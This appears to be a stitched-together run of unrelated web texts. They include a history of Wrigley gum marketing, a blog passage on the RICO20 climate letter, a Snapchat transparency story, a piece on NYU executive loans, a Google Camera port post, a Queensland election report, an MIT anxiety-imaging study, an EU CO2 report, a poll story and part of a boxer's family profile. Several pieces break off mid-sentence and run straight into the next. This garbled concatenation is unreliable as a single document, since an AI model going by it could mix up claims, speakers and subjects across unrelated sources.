Wrigley was a true salesman, believing in his products and enthusiastically spreading the word about them. As he put it, to be successful a businessman had to "make a good product at a fair price—then tell the world." But Wrigley did not simply send salesmen onto the streets to sell his products directly, which at the time was the common marketing strategy. Instead, he became one of the first entrepreneurs to use large-scale advertising to promote sales. In the early 1900s Wrigley began to advertise his chewing gum in newspapers and magazines, as well as on outdoor posters. The ads promoted the gum's ability to provide relief for indigestion and stress. They were intended to reach the general population of consumers, who would then request that their local stores carry Wrigley chewing gum. Wrigley understood that retail stores could reach far more potential customers than could a sales force. Although it was not widely used at the time, this marketing strategy was simple.
In the 1930s Wrigley introduced the "Doublemint Twins" campaign, which became one of the most successful advertising efforts ever developed in the United States. Playing on the "Doublemint" name, the campaign portrayed the double-image concept in various ways. The earliest ads in the campaign were radio spots that featured, among others, two piano players, two comedians, and two violinists. Billboard ads featured air-brushed images of innocent-looking twins chewing the gum. From 1959 through 1963 Jayne and Joan Boyd appeared as the Doublemint twins. Projecting a tone of innocence, they appeared in a series of 12 commercials in which they portrayed the fun of being double as they sang the jingle "Double your pleasure, double your fun with Doublemint gum." The jingle, as well as the twins concept, was used through the 1980s. The company then tried a series of new campaigns, although all remained true to the theme of innocence. These later campaigns included "Small-Town America" in the 1980s and "Healthy Gums" in the 1990s. In 2005 the company reintroduced the "Doublemint Twins" campaign. Meanwhile, however, the company had launched the "No Matter What" campaign to promote the Orbit brand. With sugar-free Orbit, which had long been popular in Europe, the company hoped to gain a new wave of customers in the United States.
TARGET MARKET
Wrigley's sugar-free Orbit was introduced in the United States in 2001 as an aid to dental health. Its first national advertising campaign claimed that "regular chewing helps knock tooth decay into orbit." The tagline reinforced the point by maintaining that the gum would convey a "just brushed clean feeling." Orbit White, which contained sodium bicarbonate, a tooth-whitening agent, was introduced in January 2002. This newest product followed a three-year trend that had made whitening products the fastest-growing group in oral care.
The "No Matter What" campaign targeted people between the ages of 18 and 49, who accounted for more than half of all gum purchases in the United States. Research indicated that, of potential consumers, those most likely to use the product were people who lived busy lives involving work and a family. These were the people for whom the feeling of a clean mouth was most important. Research also showed that this customer base wanted a variety of gum flavors, not simply mint. Thus, by 2005 a total of seven flavors of Orbit were available in the United States, all of them promoted through the "No Matter What" campaign.
COMPETITION
The year after Orbit was introduced in the United States, its top two competitors, Trident and Dentyne, had a new owner. In December 2002 the British food giant Cadbury Schweppes purchased Adams, the maker of both gums, from the U.S. pharmaceutical company Pfizer as a result of the $4.2 billion deal, Cadbury Adams USA LLC was created. But Trident and Dentyne had both established their names in the chewing gum business much earlier.
In the 1960s Trident became the first national brand of sugar-free chewing gum to be sold in the United States. Its 1964 advertising slogan, "The Great Taste That Is Good for Your Teeth," promoted the fact that the gum used saccharin instead of sugar. When the advertising changed with the claim that "4 out of 5 dentists surveyed would recommend sugarless gum to their patients who |
a colleague of Shukla, Kinter, Klinger and the others in the AOES department at George Mason, while Verardo himself is a member of the Adjunct Faculty at George Mason. (Update: David Verardo has commented below that his “wife is a geologist who has worked in the department long before climate dynamics was a part of the department” and “has no professional relationship with the climate dynamics group beyond serving in the same department and working on instructional issues that arise at the university” and that he himself “do not handle proposals from GMU because of obvious conflicts of interest but even more practical, the awards to climate dynamic research are not in my NSF program.”)
Shukla attracted attention as the lead author of the RICO20 letter, which was originally posted at the website of the Institute of Global Environment and Society Inc, though the professors all listed George Mason University as their affiliation. Pielke Jr became curious about the institution that had chosen to initiate this offensive letter and had the bright idea of looking up their 990 filings, thus discovering Shukla’s double dip.
Five other George Mason employees were RICO20 signatories, four of whom are long-time Shukla associates: Dirmeyer, Straus, Paul Schopf and Barry Klinger. (It’s interesting that James Kinter didn’t sign it.) The other George Mason RICO 20 signatory, Edward Maibach, is in some sort of climate communications and, together with Heidi Cullen, holds a $2,998,178 grant from NSF. Many of the other RICO20 signatories had previous associations with IGES. Kevin Trenberth and Mike Wallace had both been on its “Science Advisory Committee” in the past. Nearly all of the RICO20 signatories, including Trenbeth andWallace, attended a large symposium in April 2015 to honor Shukla – see picture at link.
IGES’ webpage says that its corporate objective was to share “the fruits” of its research “with society as a whole”, though, in practice, an equally important objective seems to have been to share the fruits of its research funding with Shukla (and Kinter). The sheer lucrativeness of Shukla’s deal raised some eyebrows in skeptic blogs, but none so far at warmist blogs, not even at Michael Tobis’ aptly named Only In It for the Gold or among Barry Klinger and the RICO20.The company that's become a sensation among young millennials is finally acting like a grown-up.
According to an interview at Backchannel, Snapchat has closed all the holes that allowed third-party developers to access its service. It's also published its first-ever transparency report -- perhaps the only document outside an S-1 filing that shows a company's "made it" -- and apologized for how the company has handled security and privacy issues since its app debuted.
The transparency report reveals that the United States made more requests for user data than all other countries combined, and that the company produced at least some data for 92 percent of the US government's requests; it did the same for just 31 percent of the other countries' requests for similar data.
That means the US government isn't only asking for information -- it's receiving it. But in Snapchat's defense, the company told Backchannel it "successfully narrowed the scope of specific requests" in some cases, and often provided metadata instead of bona fide content. (Which isn't to say metadata isn't valuable.)
Publishing this transparency report seems to be part of a larger effort by Snapchat to atone for its questionable record on security and privacy. Before today's announcement, for example, Snapchat failed to prevent third-party developers from accessing its service. That led to the publication of thousands of images stolen from a third-party application called SnapSaved, which allowed Snapchat users to save the ostensibly-ephemeral images to their computer. And so if the company has truly managed to prevent apps like these from working, that's a huge step toward making users more secure.
Snapchat's executives mentioned this incident in their Backchannel interview:
When one of those apps, called Snapsaved, was hacked, the perpetrators posted over 90,000 picture and videos online. Even though Snapchat itself wasn’t directly victimized in what was dubbed The Snappening, Snapchat admits that the company should have been more proactive in stopping third-party services. And in our meeting, the executives reiterated their apology for that incident.
This doesn't mean Snapchat is above reproach. Apologizing doesn't undo the company's mistakes, and it certainly doesn't help the people whose images were already leaked. But it goes a long way towards addressing a problem Pando's David Holmes wrote about last December when Spiegel became caught in the crossfire of the massive Sony hack:
In some ways, Spiegel’s internal message to employees is commendable, displaying a strong sense of leadership in the wake of the breach. But by making the statement public, the CEO comes off as a bit hypocritical in light of the company’s spotty record on protecting user data. Perhaps this is one secret Snapchat should have kept to itself.
Young companies often refuse to fix problems or own up to mistakes. But by speaking with Backchannel about its previous issues, releasing this transparency report so consumers know what's happening with their data, and working to prevent third-party apps from stealing information, Snapchat might finally be exiting its adolescent phase.
[illustration by Brad Jonas]Post submitted by Eric Cameron, former HRC Digital Media Specialist
HRC is proud to release three emotional and inspiring videos highlighting LGBT Mississippians, Alabamans, and Arkansans sharing their courageous stories. The videos are part of HRC’s Project One America Summer of Conversations story-telling campaign announced earlier this month.
The videos, produced by media consulting firm Putnam Partners, capture testimonies of LGBT people in Mississippi, Alabama, and Arkansas, sharing stories of discrimination as well as hope and aspiration living and working in the South. Participants represent various backgrounds and detail real-life issues related to growing up, raising families, and working in the South, while identifying as LGBT.
Check out the videos below:
Alabama
Arkansas
Mississippi
This summer, conversations are occurring all over Arkansas, Mississippi and Alabama as straight people and LGBT people come together in homes and other meeting places and share their stories.
Join us in a Summer of Conversations!
Host a gathering with your friends, colleagues, neighbors and loved ones and begin the conversations we need to have in order to move equality forward. HRC will provide all the resources you need, all that we ask is that you get the conversation started! Learn more at hrc.org/conversations.Story highlights A Times article revealed that NYU executives are given loans for buying vacation homes
Claire Potter: This practice is nearly unheard of in higher education, according to experts
She says instead of helping elite employees financially, universities should lower tuition
Potter: The NYU news should pry open the door to a world of mismanagement in universities
New York University's 2010 graduating class owed a total of more than $600 million in student loans. It's unlikely the university will forgive them. But NYU has forgiven portions of mortgages they have extended to President John Sexton, other university executives or star faculty -- money that has been used to buy properties in Manhattan or vacation homes in the Hamptons.
Does this shock you?
Or, how about this: Treasury Secretary Jack Lew, a former executive vice president at NYU, received an "exit bonus" of $685,000. Just to put this in perspective, Lew's NYU exit bonus alone would have provided free tuition for 34 undergraduates.
The revelations about lavish compensation packages at New York University (my alma mater) have raised a firestorm of criticism. Faculty critics have already publicized NYU's top executive salaries : Sexton takes home nearly $1.5 million, Vivien Lee, the vice dean of science gets $1.1 million, and Robert Grossman, the dean of the medical center, makes a whopping $3.5 million.
Claire Potter
And, as Ariel Kaminer reported in The New York Times, sometimes the salaries don't stop when the job ends. Exit bonuses and forgivable mortgages on townhouses, condos and vacation homes not only allow these top dogs to meet the standard of living of the 1%, but also to sock away real estate profits and rental income for the future.
As it turns out, NYU also makes some of these payments off the official university books through a series of nonprofit foundations. In some cases, the university has written second mortgages -- also forgivable -- on property already purchased through the foundations.
Sure, other universities have found ways to woo high-level executives, faculty and coaches with big salaries, severance pay, cars and real estate.
For example, the University of Texas has maintained a Law Foundation similar to those at NYU. It provided mortgages and other forms of compensation, doled out over time, to encourage faculty to remain at the university. These practices, and the secrecy surrounding them, are under investigation by the Texas Attorney General's office
But NYU is in the media spotlight because giving loans to university executives and stars to purchase vacation homes is nearly unheard of, according to some experts. Is the university setting precedent for a new kind of extravagant spending?
In January 2012, Vice President Joseph Biden carelessly -- and incorrectly -- remarked that high faculty salaries were driving escalating college tuition. This is a popular blame-game among politicians and university administrators alike. But according to the American Association of University Professors, in 2012 full-time faculty at all ranks across the nation received an average increase of 1.8%. In real dollars, this was the equivalent of lowering salaries by 1.2%. In comparison to a decade ago, AAUP salary data shows the rate of increase in faculty raises barely budged.
In faculty lounges, the phrase "corporate university" is used to describe the negative ways that higher education, including the conditions under which the majority of faculty is employed, has been shaped by the business practices that trustees steeped in the culture of Wall Street bring to the campus.
The corporate university eliminates full-time teaching jobs whenever possible. It relies on temporary academic laborers who have few or no benefits and median salaries of $2,700 per course, salary stagnation for the majority of academic and nonacademic employees, the reduction or elimination of union jobs, and the outsourcing of essential services to corporate providers who pay minimum wage or less.
These changes have been accompanied by the creation of massive endowments. NYU's endowment was reported at $2.755 billion in 2012. This is only the 24th largest private endowment in the United States.
I remember a time when administrators were called deans, provosts, treasurers and registrars -- now it seems everybody is a vice president. With these titles have come higher salaries, bonuses, company cars, low-interest mortgages and severance payments for voluntary departures. Boards of trustees approve these lavish practices even as they fight unionization, eliminate full-time faculty positions, refuse even cost-of-living raises for the majority of workers, increase tuition and ask students and their parents to take out tens of thousands of dollars in loans.
What kind of bookkeeping permits contemporary universities to call themselves nonprofits when they are creating significant profits that go toward benefiting the financial aspirations of a few elite employees?
The investigation into NYU should pry open the door to a world of accumulation and mismanagement in universities. Higher education is in need of ethical and fiscal reform, but it can't happen unless we start at the top.
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Editor's note: An earlier version of this essay misstated how much free tuition Jack Lew's exit bonus would have provided for undergraduates at NYU.Google Camera v4.2 from the Pixel System Dump is now Available for Nexus (7.0+) devices
(06:15PM CST) Update: We’ve learned that this port only works on ARM64 devices. Sorry Nexus 5 and Nexus 6 owners!
With the Pixel phones soon to be shipped out to users with pre-orders (or if you’re with Telstra, you might have already gotten the device), we won’t have to wait very long for developers to port the new Pixel features to other phones. Thanks to the work of some crafty users on our forums, we’ve already gotten a taste of Google’s “Pixel exclusive” Assistant on other phones. Many other updated apps that are set to be launched with the new Pixel devices have already been leaked thanks to @LlabTooFer’s dump of the Pixel/Pixel XL system image. One app in the dump that has not yet been ported to Nougat devices is the updated Google Camera app, version 4.2. This is because the app requires devices to be running on the latest version of Android Nougat, version 7.1, which the Pixel ships with and other Nexus devices will receive in the near future. But if you don’t want to wait to try out the latest version of the Google Camera app, then we’ve gone ahead and ported the app to work on Android 7.0 devices. We’ve confirmed that this runs on the Google Nexus 5X and Google Nexus 6P so far.
Download Google Camera v4.2
Keep in mind since this is a modified version of the Google Camera app, this will not install on top of your already existing camera app. In addition, the Google Camera app still won’t work on non-Nexus devices, so don’t bother trying to install this on your device running unofficial Nougat. Finally, this mod doesn’t require you to change your build.prop file in any way, which can cause other apps from the Pixel system dump to break. Besides modifying the APK to force the app to run on 7.0, we have not changed the camera app in any other way. We’ve uploaded a security scan report for the APK to VirusTotal and NVISO’s APKScan to assure you that the app is clean, as we’ve had to remove a thread on our forums regarding a Google Camera v4.2 port out of users’ concerns that the app was malicious. Now that we’ve got that out of the way, here are a few screenshots of the app:
As you can see, all of the latest enhancements to the Google Camera app seem to be present. Most importantly, you’ve got the long-press to lock the exposure/focus, manual exposure, and new UI grid options. Give the app a spin and let us know what you think below!Queensland election 2015: LNP's new ad targets Labor over links between unions, bikie gangs
Updated
A row has broken out over a new Liberal National Party advertisement highlighting union links to bikie gangs, as claims emerge that outlaw motorcycle clubs discussed donating to the LNP.
Queensland Premier Campbell Newman said criminal motorcycle gangs were backing Labor because Labor had opposed the state's Vicious Lawless Association Disestablishment (VLAD) laws.
At the leaders' debate on Friday night, Mr Newman suggested "dirty" money from criminal gangs could be financing Labor's election campaign though its union donors, specifically naming the Construction, Forestry, Mining and Energy Union (CFMEU).
The union has rubbished the Premier's statement as "ridiculous and untrue".
The LNP's new 40-second advertisement, featuring Peter Simpson from the Electrical Trade Union (ETU) addressing a rally outside State Parliament, was posted on the LNP's Facebook and YouTube accounts on Sunday morning.
The advertisement claimed unions were proud associates of bikie gangs, who brought "wads of cash" to support them.
"Some people are a bit nervous about being associated with bikies, I'm proud to say the Electrical Trade Union aren't," Mr Simpson said in the video, which was originally posted online in full in 2013.
"So stand tall, do more of this s**t and let's get out on the streets and show them."
Obviously, Newman's smear against the CFMEU is baseless and he is now searching around for a new target for his smear. Andrew Irvine, ETU communications officer
ETU communications officer Andrew Irvine released a written statement saying Mr Newman's allegations were "getting more bizarre and more desperate".
"If Mr Newman has any evidence, he should make a police complaint immediately," he said.
"The ETU's independently audited accounts are registered with the Fair Work Commission and all of our political donations are disclosed to the ECQ.
"Obviously, Newman's smear against the CFMEU is baseless and he is now searching around for a new target for his smear."
The video also stated the ETU gave $206,374.50 to Queensland Labor, which Mr Irvine disputed.
"It should also be noted that the $200,000 donation to the ALP is a national figure not a state one," the statement said.
In a written statement, a CFMEU spokeswoman said Mr Newman's claims were "ridiculous and untrue".
"The CFMEU's account and donations are independently audited and disclosed on a regular basis," the spokeswoman said.
"No allegations of this nature have been made in Queensland."
Queensland Labor's campaign director Anthony Chisholm said Mr Newman needed to back up his claims immediately.
"Queenslanders are seeing an increasingly desperate Premier," Mr Chisholm said.
"If Mr Newman can't back it up today then I am calling on Mr Newman to withdraw the TV ad they are running which makes this claim."
Public raising issue of bikie links to Labor: Newman
On Saturday afternoon, Mr Newman suggested people "google it" to find evidence of bikie links.
At a press conference on Sunday, Mr Newman said he was basing his claims on conversations with the general public.
"As I go around the state, people say to me 'Campbell, we know that the unions and criminal gangs have a close association'," Mr Newman said on Sunday.
"They've seen that and they know that and they also know that bikies are backing the Labor Party and they're saying to me, 'be strong'."
Opposition Leader Annastacia Palaszczuk has hit back, saying if there was any evidence, Mr Newman should refer it to the police.
"This is a Premier who said he would not get into the gutter. Well, today this is an all-time low," she said.
"He just wants to resort to whatever smear campaign he can possibly come up with in the week before an election."
She said it was up to individual unions to decide if patched members should be banned from their organisation.
Bikies 'discussed donating to LNP campaign'
The row came as a former member of an outlaw motorcycle club said he would not be surprised if the LNP had received modest campaign donations from bikie members, and another man claiming to be a bikie had his donation to the LNP refunded.
Russell Wattie, who is standing as an independent candidate in Maryborough, said the LNP should check its books before accusing the Labor Party of accepting donations from bikies.
Mr Wattie said the issue of donating to the LNP was discussed by patched bikie clubs and members several weeks ago.
"They should definitely take a look at their own backyard," Mr Wattie said.
"I know for a fact that it was suggested three weeks ago by a meeting of clubs to support the LNP, with the statement being, better the devil you know than the one you don't.
"To point the finger at the Labor Party and to say they have got funds coming towards them — he should probably check his own party donors first and see where the money has come from."
Meanwhile, Angelo Garozzo shared a post on Facebook with an image of what appeared to be a thank-you message from the LNP for a donation.
"I just donated money to Campbell Newman, so he just accepted money from a bikie," Mr Garozzo wrote.
LNP state director Brad Henderson, however, said the money was sent back.
"The party is unaware of any donation from bikies apart from one who admitted it was a deliberate stunt to distract from the established links between bikies and some unions," Mr Henderson said.
"The LNP's tough stance against criminal motorcycle gangs to make Queensland safer is well known.
"That donation has been refunded."
Mr Henderson said the stunt was further evidence that bikies want "a weak Labor government in power to repeal the tough LNP laws cracking down on criminal gangs".
In a follow-up post on his Facebook page, Mr Garozzo said "of course it's a bloody stunt".
"Just like new man's [sic] stunt accusing Labor of accepting bikie money."
Topics: elections, government-and-politics, brisbane-4000
First postedFor patients with social anxiety disorder (SAD), current behavioral and pharmaceutical treatments work about half the time. After weeks of investment in therapy, about half of patients will likely still suffer with symptoms of anxiety, and have little choice but to try again with something else. This trial-and-error process — inevitable due to an absence of tools to guide treatment selection — is time-consuming and expensive, and some patients eventually just give up.
But new MIT research suggests that it may be possible to do better than a coin toss when choosing psychiatric therapies for patients. The study, which performed brain scans on 38 SAD patients, found that these scans contain clues that indicate, with about 80 percent accuracy, which SAD patients will do well in cognitive behavioral therapy (CBT), an intervention designed to help patients change thinking patterns. Use of the scans to predict treatment outcomes improved predictions fivefold over use of a clinician’s assessment alone.
“Choice of therapy is like a wheel of chance,” says first author Susan Whitfield-Gabrieli, a research scientist in the McGovern Institute for Brain Research at MIT. “We’re hoping to use brain imaging to help provide more reliable predictors of treatment response.”
The researchers used a form of brain imaging that scans patients in a state of rest. Resting-state images can be done quickly, in about 15 minutes, and reliably, since they don’t require patients to follow instructions, so they have the potential to be used in a clinical setting as a tool that helps doctors select the best treatments for patients.
“Knowing who to give which therapy to upfront would save time, money, and health care resources,” says Greg Siegle, an associate professor of psychiatry at the University of Pittsburgh School of Medicine who was not involved in this study. “This ability would be staggering to have at our disposal for the health care system.”
The findings are reported in the current issue of the journal Molecular Psychiatry. The work was carried out in the lab of principal investigator John Gabrieli, the Grover Hermann Professor of Health Sciences and Cognitive Neuroscience at MIT and a member of the McGovern Institute.
Common disorder
Social anxiety disorder affects approximately 6.8 percent of Americans, about 15 million individuals, and is the country’s third-most-common mental health disorder, according to the National Institutes of Mental Health. Its symptoms include extreme anxiety in social settings that can interfere with work and quality of life. Patients living with this disorder are also at higher risk of other psychiatric disorders, such as depression and substance abuse.
The study analyzed SAD patients from the Center for Anxiety and Related Disorders at Boston University and the Center for Anxiety and Traumatic Stress at Massachusetts General Hospital. The patients were scanned prior to participation in 12 weeks of group-based CBT. They also were evaluated using a behavioral assessment tool called the Liebowitz Social Anxiety Scale (LSAS) before and after CBT to determine who had improved.
In 2013, co-author Satrajit Ghosh, a principal research scientist at the McGovern Institute, studied task-based scans of this same group of patients. He and Whitfield-Gabrieli found that scans of patients’ brains as they responded to angry or neutral faces and emotional or neutral scenes predicted CBT outcomes.
“But task-based scans have downsides,” Whitfield-Gabrieli says: Behavioral differences among patients can affect performance. Also, task-based scans can only be used on patients who can follow a task, which excludes infants and some elderly or very ill patients.
Scanning the resting brain
So Whitfield-Gabrieli followed this earlier research with a study of the predictive power of resting-state imaging, which she and colleagues had also performed prior to CBT. During a resting-state scan, the patient just lies there. “That’s the beauty of it,” she says. “They’re just letting their minds wander.”
Resting-state imaging provides a look at the way a patient’s brain is wired, both structurally and functionally. For instance, resting-state functional magnetic resonance imaging (fMRI) shows which parts of the brain synchronize with one another during rest, suggesting that they are functionally connected. In addition, analysis of diffusion-weighted magnetic resonance imaging (dMRI) shows the underlying anatomy of the white matter tracts that interconnect distant brain regions.
Based on findings from their earlier research, Whitfield-Gabrieli and colleagues first used resting-state fMRI to look at connections to the amygdala, the seat of fear in the brain. They found that patients with higher connectivity to the amygdala from certain other regions were more likely to have lower anxiety after CBT.
They then performed a second analysis of the resting-state fMRI data, this time looking across the entire brain for patterns of connectivity. This analysis revealed additional markers that were predictive of treatment. The researchers also analyzed dMRI data and found that more robust connectivity in the tract that connects visual cues with emotional responses is also predictive of improvement with CBT.
Higher LSAS scores, which indicate more severe SAD, correlate modestly with larger improvements after CBT. In this study, each brain scan analysis had predictive value beyond the LSAS, and the three analyses together produced a fivefold improvement in predictive power over the LSAS alone.
The next step for Whitfield-Gabrieli and colleagues is to validate their predictive model on hundreds or possibly thousands of patients. Such a large-scale study may be possible because resting-state scans are comparable even when performed in different labs or by different researchers. Such comparisons weren’t feasible using task-based scans, which tend to vary from lab to lab.
“Right now there’s a huge movement to create massive data sets, to share resting-state imaging data, and really change the way people do science,” Whitfield-Gabrieli says.
Other next steps for Whitfield-Gabrieli’s group are studies to predict the success of more than one form of therapy, and to look at other psychiatric conditions, such as depression and attention disorders. “We don’t want to just know if they’re going to respond to one treatment,” she says. “We want to know which treatment is best for each patient.”
The National Institutes of Mental Health and the Poitras Center for Affective Disorders Research at MIT supported this work. Boston University computational neuroscientist Alfonso Nieto-Castanon and McGovern Institute postdoc Zeynep Saygin also contributed to this research.Find out where to buy a headset - and apply to get one free here
A Google cardboard viewer is a simple and accessible way to view virtual reality (VR) content. It works as a fold-out, pop up cardboard viewer that you can use with your mobile phone to watch VR content.
You can buy them online either direct from Google, Amazon and other online stores.
In support of the Guardian’s first virtual reality experience in collaboration with the Mill, we are giving away free virtual reality cardboard viewers to readers in the UK. The cardboard viewers will be given on a first come first served basis. To sign up for your free viewer, please complete the form below.
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1. This giveaway is open to all UK residents aged 18 and over. No purchase is necessary.
2. To request your free pair of V3.0 Google Cardboard virtual reality viewer glasses (compatible with Google Cardboard smartphone apps) simply fill in the form above providing all requested contact details.
3. There are 150 pairs of glasses to be claimed in total, being given away on a first come, first served basis.
4. The giveaway will continue until all pairs of glasses have been claimed. Unsuccessful claimants will be notified.
5. All claimed pairs of glasses will be dispatched to claimants by 9 June 2016.
6. Guardian News & Media Limited (“GNM”) accepts no responsibility for any damage, loss, liabilities, injury or disappointment incurred or suffered by you as a result of accepting or using the V3.0 Google Cardboard virtual reality viewer glasses. Nothing in these Terms and Conditions shall exclude the liability of GNM under law for fraud or fraudulent misrepresentation, or for death or personal injury resulting from its negligence.
7. This giveaway is not sponsored or endorsed by Google. If you have any questions concerning this giveaway please email: Eleanor.duffy@theguardian.com
8. Promoter: Guardian News & Media Limited, Kings Place, 90 York Way, London, N1 9GU.For the most part, our brains didn't evolve in cities. But in a few decades, almost 70 percent of the world's people will live in urban environments. Despite the prosperity we associate with cities, urbanization presents a major health challenge. Cities, with their accelerated pace of life, can be stressful. The results are seen in the brains and behavior of those raised in cities or currently living in one.
On the upside, city dwellers are on average wealthier and receive better health care, nutrition and sanitation than rural residents. On the downside, they experience an increased risk of chronic disease, a more demanding and stressful social environment and greater levels of inequity. In fact, city dwellers have a 21 percent greater risk for anxiety disorders and a 39 percent increased likelihood of mood disorders.
How do we slow things down? Nature seems to be the answer. Photo credit: Valeriy Poltorak / Snapwire Snaps
A study published in Nature links city living with sensitivity to social stress. MRI scans show greater exposure to urban environments can increase activity in the amygdala, a brain structure involved in emotions such as fear and the release of stress-related hormones. According to the study, the amygdala “has been strongly implicated in anxiety disorders, depression and other behaviors that are increased in cities, such as violence."
The researchers also found people who lived in cities for their first 15 years experienced increased activity in an area of the brain that helps regulate the amygdala. So if you grew up in the city, you're more likely than those who moved there later in life to have permanently raised sensitivity to stress.
Author and Prof. David Gessner says we're turning into “fast twitch" animals. It's like we have an alarm clock going off in our brains every 30 seconds, sapping our ability to concentrate for longer periods of time. The demands of urban life include a constant need to filter information, dodge distractions and make decisions. We give our brains little time to recover.
How do we slow things down? Nature seems to be the answer. Cognitive psychologist David Strayer's hypothesis is that “being in nature allows the prefrontal cortex, the brain's command center, to dial down and rest, like an overused muscle."
Research shows even brief interactions with nature can soothe our brains. Stanford's Gregory Bratman designed an experiment in which participants took a 50-minute walk in either a natural or an urban environment. People who took the nature walk experienced decreased anxiety, brooding and negative emotion and increased memory performance. Bratman's team found walking in natural environments can decrease rumination, the unhealthy but familiar habit of thinking over and over about causes and consequences of negative experiences. Their study also showed neural activity in an area of the brain linked to risk for mental illness was reduced in participants who walked through nature compared with those who walked through an urban environment.
Korean researchers investigated the differences in brain activity when volunteers just looked at urban versus natural scenery. For those viewing urban images, MRI scans showed increased blood flow to the amygdala region. In contrast, areas of the brain associated with empathy and altruism lit up for those who viewed natural scenes.
In Japan, scientists found people spending time in nature—shinrin-yoku or “forest bathing"—inhale “beneficial bacteria, plant-derived essential oils and negatively-charged ions" which interact with gut bacteria to strengthen the body's immune system and improve both mental and physical health.
Spending time in nature regularly is not a panacea for mental health but it's an essential component of health and psychological resilience. Nature helps us withstand and recover from life's challenges. Even city dwellers can find nearby nature—a garden, local park or trail—to give their overworked brains a break.
Every spring, the David Suzuki Foundation challenges Canadians to spend more time outside for health and mental well-being. The 30×30 Nature Challenge asks people to commit to spending at least 30 minutes a day in nature for 30 days in May. When you take the 30×30 pledge, you'll receive the latest research on the health benefits of spending time outdoors along with practical tips on how to add green time to your daily routine.
Let's show our brains—and bodies—some love. Get outside!From the “just in time for Paris” and “impending doom canceled” department comes this report from the EUROPEAN COMMISSION JOINT RESEARCH CENTRE:
After a decade of rapid growth in global CO 2 emissions, which increased at an average annual rate of 4%, much smaller increases were registered in 2012 (0.8%), 2013 (1.5%) and 2014 (0.5%). In 2014, when the emissions growth was almost at a standstill, the world’s economy continued to grow by 3%. The trend over the last three years thus sends an encouraging signal on the decoupling of CO 2 emissions from global economic growth. However, it is still too early to confirm a positive global trend. For instance India, with its emerging economy and large population, increased its emissions by 7.8% and became the fourth largest emitter globally.
The EU continues to show leadership on CO 2 emission reductions
In 2014, despite an overall increase of 1.4% in the GDP for the European Union, the EU decreased its CO 2 emissions by 5.4% with respect to 2013. This comes after reductions also in the two previous years, although the reductions in 2012 and 2013 were at much lower rates (-0.4% and -1.4 %). The results illustrate the continued decoupling of Europe’s economic growth from CO 2 emissions. Total EU CO 2 emissions are now 23% below the 1990 level.
The study suggests three main reasons for this drop: 1) a 4.5% emissions reduction from industrial facilities and power plants that are part of the EU Emissions Trading System, 2) a mild winter which resulted in a 10% lower heating demand and 3) a 0.5% reduction in oil consumption for transport.
Significant reductions in national CO 2 emissions were recorded for Slovakia (10.6%), the United Kingdom (9.0%), Denmark (8.8%), France (8.4%), Italy (7.7%), Finland (6.9%), Greece (6.3%), Austria (6.0%), Germany (5.6%), the Netherlands (5.3%), Portugal (3.6%) and Poland (3.4%). Of the 28 EU Member States, only Bulgaria and Cyprus increased their emissions, by 6.9% and 0.5%, respectively.
For the first time, the EU’s share of global CO 2 emissions fell below 10%. Responsible for 9,6% of the global emissions, the EU is still the third largest emitter globally after China (30%) and the United States (15%).
Global emissions stalled in 2014
Apart from the EU, other countries such as Japan (-2.6%) Russia (-1.5%), and Australia (- 2.1%) also reduced their emissions. In total, only a 0.5% increase in global CO 2 emissions was recorded in 2014 with respect to the previous year. The total emissions from fossil fuel combustion and industrial processes amounted to 35.7 billion tonnes CO 2 in 2014, compared to 35.3 billion tonnes in 2013.
China emissions also slowed down
Although it remains the largest emitter world-wide, China has also managed to slow down its emissions growth. After the surge in CO 2 emissions recorded over the past 10 years, China’s emissions increased by only 0.9% in 2014, the same rate as the United States. A big part of the overall curbing of global emissions can therefore be attributed to China’s structural changes in its economy favouring less energy-intensive services, a high value-added manufacturing industry and investments into more low-carbon energy options.
US per capita emissions among highest
The United States still has very high emissions per head of population, with 16.5 tonnes CO 2 per capita in 2014. This is more than twice as high as those of China (7.5 tonnes CO 2 per capita) and the EU (7.1 tonnes CO 2 per capita).
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Background information
These results were published in a report by the European Commission’s Joint Research Centre (EC-JRC) and PBL Netherlands Environmental Assessment Agency.
Related links:
Trends in global CO 2 emissions:2015 Report
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Jan. 20, 2015, 5:00 AM GMT
Potential 2016 candidates Jeb Bush and Mitt Romney have earned plenty of headlines after publicly acknowledging that they’re revving up likely presidential campaigns, but, so far, they haven’t gained positive marks from the public, according to the newest NBC News/Wall Street Journal poll.
In fact, both candidates have lost ground since pollsters last measured Americans’ feelings towards them – including a dip in approval from members of their own party.
Just 27 percent of Americans now offer a positive rating for Romney, the Republican party’s nominee in 2012, compared to 40 percent who give him negative marks. And just over half of Republicans – 52 percent – give him a thumbs up, while 15 percent disagree.
In September of last year, when Romney was widely expected NOT to seek the presidency again, his ratings stood at 32 percent positive/ 39 percent negative. With Republicans, that split was 60 percent positive/ 13 percent negative.
While former Florida governor Jeb Bush is not quite as well-known as Romney, with 13 percent of respondents saying they don’t know the name, he’s also seen a drop in approval since announcing that he’s “actively exploring” a 2016 run.
Just 19 percent of Americans now give Bush a positive rating, while 32 percent assess him negatively. His fans include just 37 percent of Republicans, while 15 percent offer a poor assessment of him.
That’s compared to an overall rating last November of 26 percent positive and 33 percent negative. Among Republicans at that time, Bush’s rating stood at 44 percent positive to 12 percent negative.
While Romney’s overall negative rating is higher than Bush’s |
’s going to make it through the night.”
Steve spent mornings in the gym and afternoons at the hospital. Livvy’s mother came on weekends to help with Steve Jr. The Children’s Hospital of Philadelphia became a second home. They promised each other they would keep laughing and smiling. They vowed not to let fear take over their lives.
Kennedy had two surgeries that first year, one to put a stent in her heart and the other to reroute her blood. She needed one more for her heart to fully function, so that the right side would do the job of the entire organ. Only the doctors said Kennedy couldn’t handle it. She was too small, too weak. She needed time to grow and then, finally, they could operate once more.
David Spagnolo
Years passed and Kennedy grew. She watched her dad become one of the top 10 cruiserweights in the world, and then one of the top five. She started to talk at age 3 and learned to walk a year later. She waited at home in May 2007, when her parents traveled to Poland and Livvy watched Cunningham outpoint local favorite Krzysztof Wlodarczyk to become the IBF cruiserweight champion. Kennedy enrolled in school and learned to sing and got a puppy named Kayo (pronounced “KO”). Her dad defended his belt, then lost it, and then decided, in 2012, that he was finished fighting at cruiserweight. Kennedy was 7. She still needed a third surgery. Her dad was 36. He needed a new weight class.
